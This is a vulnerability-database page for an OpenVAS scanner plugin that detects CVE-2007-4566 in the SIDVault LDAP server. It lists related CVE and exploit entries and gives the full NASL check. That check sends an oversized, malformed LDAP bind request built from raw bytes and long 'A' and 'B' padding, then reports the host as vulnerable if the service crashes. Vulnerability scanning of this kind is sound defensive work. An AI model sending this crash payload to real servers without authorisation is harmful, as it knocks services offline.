Lucene search
+L

SIDVault 'simple_bind()' Function Multiple Remote Buffer Overflow Vulnerabilities

🗓️ 07 Sep 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

SIDVault 'simple_bind()' Function Multiple Remote Buffer Overflow Vulnerabilitie

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2007-4566
3 Sep 200900:00
circl
cve
CVE
CVE-2007-4566
28 Aug 200701:00
cve
cvelist
Cvelist
CVE-2007-4566
28 Aug 200701:00
cvelist
exploitdb
Exploit DB
SIDVault LDAP Server - Remote Buffer Overflow
25 Aug 200700:00
exploitdb
exploitdb
Exploit DB
SIDVault 2.0e - Windows Remote Buffer Overflow
3 Sep 200900:00
exploitdb
exploitdb
Exploit DB
SIDVault 2.0e - Windows Remote Buffer Overflow (Metasploit)
4 Sep 200900:00
exploitdb
exploitdb
Exploit DB
SIDVault 2.0e - Windows Universal Buffer Overflow (SEH)
9 Sep 200900:00
exploitdb
nvd
NVD
CVE-2007-4566
28 Aug 200701:17
nvd
prion
Prion
Buffer overflow
28 Aug 200701:17
prion
nessus
Tenable Nessus
SIDVault < 2.0f LDAP Server Malformed Search Request Buffer Overflow
28 Aug 200700:00
nessus
Rows per page
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100270");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-09-07 09:47:24 +0200 (Mon, 07 Sep 2009)");
  script_cve_id("CVE-2007-4566");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("SIDVault 'simple_bind()' Function Multiple Remote Buffer Overflow Vulnerabilities");
  script_category(ACT_DENIAL);
  script_family("Buffer overflow");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("ldap_detect.nasl");
  script_require_ports("Services/ldap", 389, 636);
  script_mandatory_keys("ldap/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/25460");
  script_xref(name:"URL", value:"http://www.alphacentauri.co.nz/sidvault/index.htm");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/477821");

  script_tag(name:"solution", value:"The vendor released SIDVault 2.0f to address this issue. Please see
  the references for more information.");

  script_tag(name:"summary", value:"SIDVault is prone to multiple remote buffer-overflow vulnerabilities because
  the application fails to properly bounds- check user-supplied input before
  copying it to an insufficiently sized memory buffer.");

  script_tag(name:"impact", value:"An attacker can exploit these issues to execute arbitrary code with superuser
  privileges. Successfully exploiting these issues will result in the complete
  compromise of affected computers. Failed exploit attempts will result in a
  denial-of-service condition.");

  script_tag(name:"affected", value:"These issues affect versions prior to SIDVault 2.0f.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("ldap.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ldap_get_port(default:389);

if(!ldap_alive(port:port))
  exit(0);

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

data = raw_string(0x30, 0x82, 0x11, 0x18, 0x02, 0x01, 0x01, 0x60,
                  0x82, 0x11, 0x11, 0x02, 0x01, 0x03, 0x04, 0x82,
                  0x10, 0x06, 0x64, 0x63, 0x3d);

data += crap(data:"A", length:4099);

data += raw_string(0x80, 0x82, 0x01, 0x00);

data += crap(data:"B", length:256);

data += raw_string(0x30, 0x05, 0x02, 0x01, 0x02, 0x42, 0x00);

send(socket:soc, data:data);
ddata = recv(socket:soc, length:4096);
close(soc);

if(strlen(ddata))
  exit(0); # got an answer. Not dead...

sleep(5);

if(!ldap_alive(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation